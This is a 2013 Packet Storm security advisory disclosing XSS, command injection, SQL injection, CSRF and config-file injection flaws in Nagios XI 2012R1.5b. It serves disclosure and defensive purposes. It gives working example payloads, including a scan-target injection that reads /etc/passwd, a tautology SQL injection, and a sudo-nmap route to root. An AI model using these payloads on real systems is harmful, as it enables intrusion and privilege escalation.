what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Nagios XI 2012R1.5b XSS / Command Execution / SQL Injection / CSRF

Nagios XI 2012R1.5b XSS / Command Execution / SQL Injection / CSRF
Posted Feb 3, 2013
Authored by James Clawson

Nagios XI version 2012R1.5b suffers from cross site request forgery, cross site scripting, remote command injection, and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection, csrf
SHA-256 | 1c5b2507b4ee7eaf2473dd6e67b86372840a9aa86739b62c602ca4d609cade02

Nagios XI 2012R1.5b XSS / Command Execution / SQL Injection / CSRF

Change Mirror Download
Reflected XSS:
Alert Cloud Component:
Example URL:
http://nagiosxiserver/nagiosxi/includes/components/alertcloud/index.php?width=800"}};
alert('xss'); var aa={"a" : {"b" : "
The vulnerable code in Alert Cloud's index.php appears to have been
copied and pasted into several other components as well.
Escalation Wizard:
Example URL:
http://nagiosxiserver/nagiosxi/includes/components/escalationwizard/escalationwizard.php?stage=4&config_name=ffffff'
style='height:5000px;width:5000px;position:absolute;left:-1px;top:-1px'
onmouseover='alert("xss")'/>


Stored XSS:
Nagios QL (aka Legacy Nagios Core Configuration Manager):
Example:
Using
');alert('xss
as the config name of a host escalation entry will result in the
javascript being executed when a user tries to delete that host
escalation entry.
I believe that the Legacy Nagios Core Configuration Manager and the
(regular, non legacy) Core Configuration Manager share configuration
settings in a database. I was unable to test whether script injected
via Nagios QL could be executed by using the (regular) Core
Configuration Manager because the (regular) Core Configuration Manager
appears to be broken in this release (?).


Command Execution:
Autodiscovery does not filter input properly. Any user can submit new
jobs, even regular user accounts with read only access. Autodiscovery
may not appear in the menu for some users, it may be necessary to
browse directly to the autodiscovery page.
Example (as the scan target): \; cat /etc/passwd \;
Then look at the job results.
Due to what seems to be (as far as I can tell) a very poorly thought
out sudo rule, a user could upload a custom nmap script to the server
and run it (through sudo) for easy root access.
Yes, there is a sudo rule that allows apache to run nmap as root.
Autodiscovery requires manual activation before it can be used (and
this vulnerability exploited).
Autodiscovery does use a nonce, but this can be bypassed with XSS.


Not sure what to call this, content spoofing maybe?
Whatever you would call it, this could be used for phishing (or whatever).
Nagios XI Admin Panel:
http://172.16.4.51/nagiosxi/admin/?xiwindow=http://w3c.org


SQL Injection:
Sorry about the poor examples below, they should be enough to
demonstrate the point though.
NagiosQL (aka Legacy Nagios Core Configuration Manager):
Example URL:
http://nagiosxiserver/nagiosql/admin/commandline.php?cname=a'+or+'a'='a
Vulnerable Code:
if (isset($_GET['cname']) && ($_GET['cname'] != "")) {
$strResult = $myDBClass->getFieldData("SELECT command_line
FROM tbl_command WHERE id='".$_GET['cname']."'");
There are other pages in NagiosQL that are also vulnerable.
Escalation Wizard:
Example URL:
http://nagiosxiserver/nagiosxi/includes/components/escalationwizard/escalationwizard.php?stage=5&submitted=true&level='


CSRF:
NagiosQL (aka Legacy Nagios Core Configuration Manager)
Escalation Wizard


Configuration File Injection:
Example URL:
http://nagiosxiserver/nagiosxi/includes/components/escalationwizard/escalationwizard.php?config_name=CoolConfigDD&contacts[]=1&contactgroups[]=1&timeperiod=2&first=1&last=10&interval=1&done=false&stage=5&level=1&objecttype=host&submitted=true&options[]=d%0A}%0Adefine
host%0A%23
The 'options' GET parameter is limited to 20 characters (VARCHAR 20 in
the DB) and is placed in the 'escalation_options' field in the
hostescalations.cfg file.
I'm not sure if it is possible to do anything useful with only 20
characters, but I find it interesting none the less. The above example
creates an empty host definition that doesn't mess up the config file.
If an invalid configuration file is created, the last know good
configuration is rolled back and nagios is restarted, so this cannot
be used for denial of service.


James Clawson


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    14 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close